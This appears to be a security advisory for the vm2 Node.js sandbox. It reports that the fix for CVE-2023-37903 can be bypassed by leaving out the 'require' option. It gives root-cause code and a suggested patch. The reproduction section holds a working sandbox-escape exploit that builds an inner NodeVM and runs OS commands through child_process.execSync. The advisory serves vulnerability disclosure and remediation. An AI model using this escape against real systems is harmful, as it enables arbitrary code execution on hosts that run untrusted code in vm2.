Summary The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in "nodevm.js" line 263 that blocks the combination "nesting: true" + "require: false". However, the check uses strict equality ("options.require === false"), which is trivially bypassed by omitting the "require" option entirely. When "require" is not specified, "options.require" is "undefined", not "false". The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default "require: requireOpts = false" assigns "requireOpts = false", producing the exact configuration the patch was designed to prevent. Root Cause // nodevm.js:263 — the security check if (options.nesting === true && options.require === false) { throw new VMError('...'); } // nodevm.js:280 — the default assignment (AFTER the check) const { require: requireOpts = false } = options; // When options.require is undefined: // - Line 263: undefined === false → FALSE → check skipped // - Line 280: requireOpts = false → same as require:false Impact Full Remote Code Execution on the host system. An attacker running code inside a "NodeVM({ nesting: true })" sandbox (without specifying "require") can: 1. "require('vm2')" to get the vm2 library 2. Construct an inner "NodeVM" with "require: { builtin: ['child_process'] }" 3. Execute arbitrary OS commands via "child_process.execSync" The inner VM is completely unconstrained by the outer sandbox configuration. Reproduction const { NodeVM } = require('vm2'); // nesting:true, require not specified (defaults to false AFTER the check) const nvm = new NodeVM({ nesting: true }); const result = nvm.run("const { NodeVM } = require('vm2'); const inner = new NodeVM({ require: { builtin: ['child_process'] } }); module.exports = inner.run( "module.exports = require('child_process').execSync('id').toString()", 'exploit.js' );", 'exploit.js'); console.log(result); // prints host uid/gid — full RCE Suggested Fix // Change the check to catch both false and undefined/omitted: if (options.nesting === true && !options.require) { throw new VMError('...'); } Or move the check after the destructuring default assignment: const { require: requireOpts = false } = options; if (options.nesting === true && !requireOpts) { throw new VMError('...'); }